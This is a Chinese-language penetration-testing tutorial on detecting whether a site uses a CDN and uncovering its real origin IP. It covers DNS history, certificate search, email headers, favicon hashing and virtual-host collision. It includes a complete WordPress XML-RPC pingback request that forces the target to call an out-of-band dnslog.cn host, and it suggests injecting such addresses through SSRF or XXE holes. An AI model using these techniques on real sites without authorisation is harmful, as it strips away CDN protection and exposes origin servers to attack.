判断是否存在CDN

绕过CDN寻找真实IP - 图1 绕过CDN寻找真实IP - 图2

多地ping

如果没有使用CDN,则只会显示一个IP地址。
可以使用以下站点进行多地ping,

如图则不存在CDN 绕过CDN寻找真实IP - 图3

nslookup法

用国外的dns服务器

  • 如果返回域名解析对应多个 IP 地址多半是使用了 CDN
  • nslookup -qt=A h5.hunbei.com 8.8.8.8 用国外的可能会得到真实IP

不存在:
绕过CDN寻找真实IP - 图4
存在:
绕过CDN寻找真实IP - 图5

IP反查域名

查看是否存在大量不相关的IP

如下图可以看出来是使用了CDN
绕过CDN寻找真实IP - 图6

观察header

  • 观察请求响应的返回数据的头部,是否有 CDN 服务商标识
  • 若 asp 或者 asp.net 网站返回头的 server 不是 IIS、而是 Nginx,则多半使用了nginx反向代理到 CDN

绕过CDN寻找真实IP - 图7

在线检测工具

绕过CDN寻找真实IP - 图8

寻找真实IP

网络空间测绘引擎

zoomeye、fofa等,搜索站点相关信息,有一定几率能够获取到站点的真实IP

  • fofa
  • shodan
  • quake
  • Censys.io

    二级域名法

    由于部分CDN价格昂贵,所以一些重要的站点会使用CDN加速,而一些子域名则没有使用,且极有可能和主站在同一C段,这时候,就可以通过发现目标的子域名,从而根据IP来定位主域名的IP地址。

  • oneforall

  • ksubdomain
  • Jsinfo-scan

    邮箱

    用目标邮件服务器发送邮件给自己(QQ邮箱)再查看邮件源码一定情况下可以找到真实IP(服务端和我们建立连接) 这里还有一个奇淫技巧,通过发送邮件给一个不存在的邮箱地址,比如 000xxx@domain.com ,因为该用户不存在,所以发送将失败,并且还会收到一个包含发送该电子邮件给你的服务器的真实 IP 通知。

  • RSS 订阅

  • 邮箱注册、激活处
  • 邮箱找回密码处
  • 产品更新的邮件推送
  • 某业务执行后发送的邮件通知
  • 员工邮箱、邮件管理平台等入口处的忘记密码

    海外ping

    由于国内厂家可能只针对国内使用cdn,对海外没有铺设,导致通过通过海外的IP可以直接获取到真实IP。
    可以使用:

  • http://ping.chinaz.com/

  • https://asm.ca.com/zh_cn/ping.php
  • http://host-tracker.com/
  • http://www.webpagetest.org/
  • https://dnscheck.pingdom.com/

进行查询
绕过CDN寻找真实IP - 图9

DNS历史解析记录

以微步在线为例
找到站点
绕过CDN寻找真实IP - 图10
判断存在CDN
绕过CDN寻找真实IP - 图11
微步查询
绕过CDN寻找真实IP - 图12
确认为真实IP
绕过CDN寻找真实IP - 图13
这些很有可能就是在使用CDN之前留下的解析记录

SSL证书

在线

  • https://censys.io/certificates?q=parsed.names.raw%3A+”baidu.cn”+and+tags.raw%3A+trusted

    1. # 查询有效的证书
    2. Certificates: parsed.names.raw: "baidu.cn" and tags.raw: trusted
    3. # 注意
    4. # 测试过程中,很容易陷入思维误区,认为 有效 的证书才是我们需要的,但其实并不一定,很多服务器配置错误依然保留的是 无效 的证书

    sha1 签名反查IPV4
    绕过CDN寻找真实IP - 图14

  • https://crt.sh/

    命令行工具

  • openssl

    1. openssl s_client -connect hao123.com:443 | grep subject
  • curl

    1. curl -v https://hao123.com | grep 'subject'

    敏感文件泄漏

  • 服务器日志文件

  • 探针文件,例如 phpinfo
  • 网站备份压缩文件
  • .DS_Store
  • .hg
  • .git
  • SVN
  • Web.xml

    历史域名

  • 很多网站在发展的过程中,会更换域名,比如京东以前的域名是 360buy.com ,后来斥巨资购买了 jd.com 。

  • 网站在更换新域名时,如果将 CDN 部署到新的域名上,而之前的域名由于没过期,可能未使用 CDN,因此可以直接获得服务器 IP,所以,历史域名也是一个很重要的点。

    通过 XML-RPC PINGBACK 通信

  • XML-RPC 是支持 WordPress 与其他系统之间通信的规范,它通过使用 HTTP 作为传输机制和 XML 作为编码机制来标准化这些通信过程。

  • 在 WordPress 的早期版本中,默认情况下已关闭 XML-RPC,但是从3.5版本开始,默认情况下开启。
  • XML-RPC 支持 trackback 和 pingback。
  • 虽然 WordPress 启用了 REST API 来代替 XML-RPC ,不过 XML-RPX 不会过时的,放心大胆的使用就好,虽然 XML-RPC 这个技术很老了,但依然可以通杀很多网站。

    1. POST /xmlrpc.php HTTP/1.1
    2. Host: domain.com
    3. Cache-Control: max-age=0
    4. Upgrade-Insecure-Requests: 1
    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    7. Accept-Encoding: gzip, deflate
    8. Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    9. Connection: close
    10. Content-Type: application/x-www-form-urlencoded
    11. Content-Length: 323
    12. <?xml version="1.0" encoding="UTF-8"?>
    13. <methodCall>
    14. <methodName>pingback.ping</methodName>
    15. <params>
    16. <param>
    17. <value><string>http://2vbis4.dnslog.cn</string></value>
    18. </param>
    19. <param>
    20. <value><string>https://domain.com/</string></value>
    21. </param>
    22. </params>
    23. </methodCall>

    APP

  • 目标若存在APP,则APP可能通过IP直接与服务端进行通信,若最新版采用域名通信,也可尝试寻找历史版本进行分析。

    历史版本宝贝一般很多

漏洞

  • 如果目标网站本身存在漏洞的话,比如 SSRF、XXE、XSS、文件上传、命令执行等漏洞,或者我们找到的其他突破口,注入我们自己的带外服务器地址,然后在服务器上检查 HTTP 日志记录。
  • 应用本身的错误会造成当传递一些错误的参数值或者错误的地址时,内部会抛出异常,也就是日常所说的报错,关注报错点,经常会泄露一些真实的 IP 地址或者内网 IP 段。

    通过 virtual-host 碰撞

  • 当我们收集了目标足够多的可能的真实 IP 时,可以通过 IP 和子域的碰撞,来批量获得命中目标以及目标哪些的子域。

  • 在线收集工具 https://pentest-tools.com/information-gathering/find-virtual-hosts#

    通过 favicon.ico 哈希特征

  • favicon.ico 是现代浏览器在网页标题的左侧显示的一个小图标。

  • 该图标数据通常是从 https://anywebsite/favicon.ico 处获取的,浏览器会在浏览任何网站时自动请求它。
  • 因为可以通过计算 favicon.ico 的指纹哈希,然后去 shodan 等搜索引擎搜索与之相同的主机结果,从而进一步探测是否能挖掘出目标网站的真实 IP 地址。
  • 目前网络空间搜索引擎均支持

绕过CDN寻找真实IP - 图15

通过网页源码特征值

  • 在服务器源 IP 地址允许访问并且返回的也是类似的网站内容情况下,可以通过侦察页面源码中 JS 、CSS 、HTML 等一系列静态特征值,然后用 Shodan 、Zoomeye 、Censys 等搜索引擎进行匹配搜索,从而定位 IP 。

    通过域名备案信息广域探测(成功率高)

  • 针对目标域名,目标二级域名,如果都做了 CDN 的情况下,是不是就思路中断了呢?

  • 肯定不是。这里分享一个很少有人去关注的独门秘技。
  • 网站需要服务器,但是再土豪的公司,也不可能一个域名一台服务器,大多数情况下,都是多个域名业务,共用一台服务器。
  • 那么如果目标网站存在备案,可以查询其备案信息,收集该单位或者个人备案的其他网站域名以及其他子域,然后再进行一轮广域的探测,很有可能其中的某个边缘子域,没有做 CDN,就直接暴露了真实服务器的 IP 地址,然后再进一步验证该 IP 是否也是目标网站的真实 IP 。

    找到真实 IP 后如何使用

    在获取到真实IP后,通过直接访问IP可能无法访问,那么此时提供2种思路进行解决

  • 通过修改 hosts 文件,将域名和 IP 绑定。(要是不会,不建议阅读此文。)

  • 如使用 burpsuite 测试,可以在 Project options ——> Connections ——> Hostname Resolution 中增加域名和 IP 记录。

绕过CDN寻找真实IP - 图16

参考

  1. https://github.com/bin-maker/2021CDN/blob/main/CDN 2021 完全攻击指南(一).md
  2. https://www.anquanke.com/post/id/227818
  3. https://www.anquanke.com/post/id/231437